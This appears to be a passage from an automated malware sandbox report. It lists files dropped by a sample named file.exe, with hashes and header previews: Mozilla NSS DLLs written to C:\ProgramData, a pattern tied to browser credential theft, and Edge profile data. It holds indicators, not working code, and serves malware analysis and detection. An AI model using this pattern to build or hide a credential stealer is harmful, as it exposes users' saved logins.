Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Uviv7rEtnt.exe, Detection: malicious, Browse Filename: pWz7aRypjY.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0fb08a19-5d21-4cda-bc14-9f50e885470c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46134
Entropy (8bit):	6.087292150357028
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQcrQgx9AhdNujhDO6vP6Okhjc3u8YwSGhy1DhSCAo5Goup1Xl3jVzy:sMk1rT8HR94p6r01sRo5hu3VlXr4N
MD5:	DB99FCCD0836FC585AA70CB4CA559AFF
SHA1:	989F61A836CFC13452E1B0DC17787DC0CBAEF1C3
SHA-256:	56D4DC88F15EE68402D86215B30B34EA8D43E9FAABF33C7885AB696C2B7BFA75
SHA-512:	BC6CD09ED91A7BEFFE12FED149D5CB545DEF2667EAD76502B8C36A8B128C3A2153F0DAC66DF6A6E36CBE8EDF69331D3FA89B08D7CE68AD6BD9FF121F2DA74EA8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730307998"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\51bf8e31-5316-4ab2-a0b6-c5f6b9dbadcb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46211
Entropy (8bit):	6.087250813046885
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQcrQg69AhdNujhDO6vP6Okhjw3u8YwSGhy1DhSCAo5Goup1Xl3jVzy:sMk1rT8Ha94p6v01sRo5hu3VlXr4N
MD5:	7C339044DFF4118244474DBBF1F4D8DE
SHA1:	635CBD98BC44509B4E9CA184409689B83B1E3F8F
SHA-256:	CD5CB3F7CBBE9A41D37B31B6E7D50A8DD1D1B6B645A4BD1C71D36F3C44CAB2B3
SHA-512:	C6C2B9C23EBD881F806EE562518C8D0431CBEBFFF9F235CC15DEF3A9D77FB6C4FE2394B8870EF7401604D6EA3270B0E572CF4B30BEC3F7778C24AE433E0D189A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730307998"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\73221d16-b426-4f25-9680-ee2d4adc7f7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44686
Entropy (8bit):	6.095796541536655
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB0wuKhDO6vP6Okhjc3u8YwSGcGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEe6rchu3VlXr4CRo1
MD5:	569D07734C160165DE29F72183A7121E
SHA1:	0603F8067EE10380C9C654541373D955581006A5
SHA-256:	D8B7A7BD21BFA20E7DD7E8B85991BAAFF4D2E821F03DBA7A3D9286C8F79FF5B9
SHA-512:	EA98971CC65EBF6C064999C80ED982F7F677EFEA08E48FF9F422491C44BEF060AF3DAB15AD0B8E88ABE09F8FD8AFCA867B08F225BFE347A0176E594583BF9AE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\deab0724-1295-44bc-9606-797e403c0a06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67226798-1FD0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4572908810718729
Encrypted:	false
SSDEEP:	6144:Heiad5OrukcWX7oK3ZAHqnGL8tAJPaHs3S:Ckce7sw
MD5:	2E438186EE817CEDC510317E75D3D78F
SHA1:	CEA0ABCA0D1CD2F6395596471603507E44C2AAD3
SHA-256:	AB297A504326111598946C54F9CDA8FBC5AD057175B45D5D79A664CBE416C45B
SHA-512:	DE0291945D9C930A809312A431596F25D021B5AA77372369063292C592997C971F368F8EAA6DA8F77BE6671F09BCEF5DA70692D9C428DC28CC617F6F84F180C3
Malicious:	false
Preview:	...@..@...@.....C.].....@...............h...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".aaabax20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. ....2....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4140809a-345e-47e0-bc6c-04990935adfa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5613633775704505
Encrypted:	false
SSDEEP:	768:MKf7nV7pLGLpoyWP8qf3J8F1+UoAYDCx9Tuqh0VfUC9xbog/OVzVd2kQArwfcRbS:MKf7njcpoyWP8qf3Ju1jamVdtQxfcR+b
MD5:	3CDACFE3FF097A28F820A2C08000ED39
SHA1:	E4794A46DB0C533C5D62EAC573C5D8AFD42D2BAA
SHA-256:	34EA3E8979B1E8AF859E685E9579CC97AA263A52A9999DEC59820A107BBB27F4
SHA-512:	EB38E0E007AF6DE2BE40F93BA521FAAAA440BC95B9A7EEEE16524030649EE008B5F64C919D04898867699D26CFBD3AB60AC136D080656B157C0BBA371D520942
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374781593228666","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374781593228666","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5307a0fb-1901-4321-b0a2-173f71a1f6f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17677), with no line terminators
Category:	dropped
Size (bytes):	17678
Entropy (8bit):	5.4929193055266285
Encrypted:	false
SSDEEP:	384:stkPGKSu4Qsr9fhgUponu3CGYdFSbGeQwJ6WpaTYi:sKOxuQ9fjPbGtKtaTYi
MD5:	F5D669EDF74EE6587E04FC2F3AFE529F
SHA1:	67B1E2D2F8D5CE48CD90F6BE81E075507B08C6FC
SHA-256:	28482551937DF57D423EE8B0733EC98DE69F3233598AB565CABD49A29A2F4D6D
SHA-512:	2C62E421CEBEA21BCC192E785058FA36CFBAB7521E1C111627C8BB2818A4B4A0C3782870033B31FAF98046427AFDF2D9D7D764E7D09F61F481AC581B2CC50239
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\72caccdd-7de8-4521-98e5-2814cdc95eec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\773c89ec-f224-4751-8b42-eb9d24df1a2f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11518
Entropy (8bit):	5.250352009467696
Encrypted:	false
SSDEEP:	192:stkkdpQsr9sZihgHFjkQVkPi2zKiR8jbV+F/GQA66WpaFIMYxPXYJ:stkQQsr9fhgT5bGeQx6WpaTYi
MD5:	0B3238276CCC3D22F0171D49AADA20B9
SHA1:	B8B2E5806414F5065D9D4A4BC2C23A0A7ABAB2C9
SHA-256:	D03AA15BE93DFF6E00EC942CBBB8777C8ACD7E0DC5C641D7793A608B5845305B
SHA-512:	BDCE5F6C0D6D7385BC669F39DB5FEBFE044E07F22AFE2DF3CD44074FC0CE3891EBE112AF51415E0EA3182472765D4CF520C345302E7A8ED395F66BFAF6E6ED01
Malicious:	false
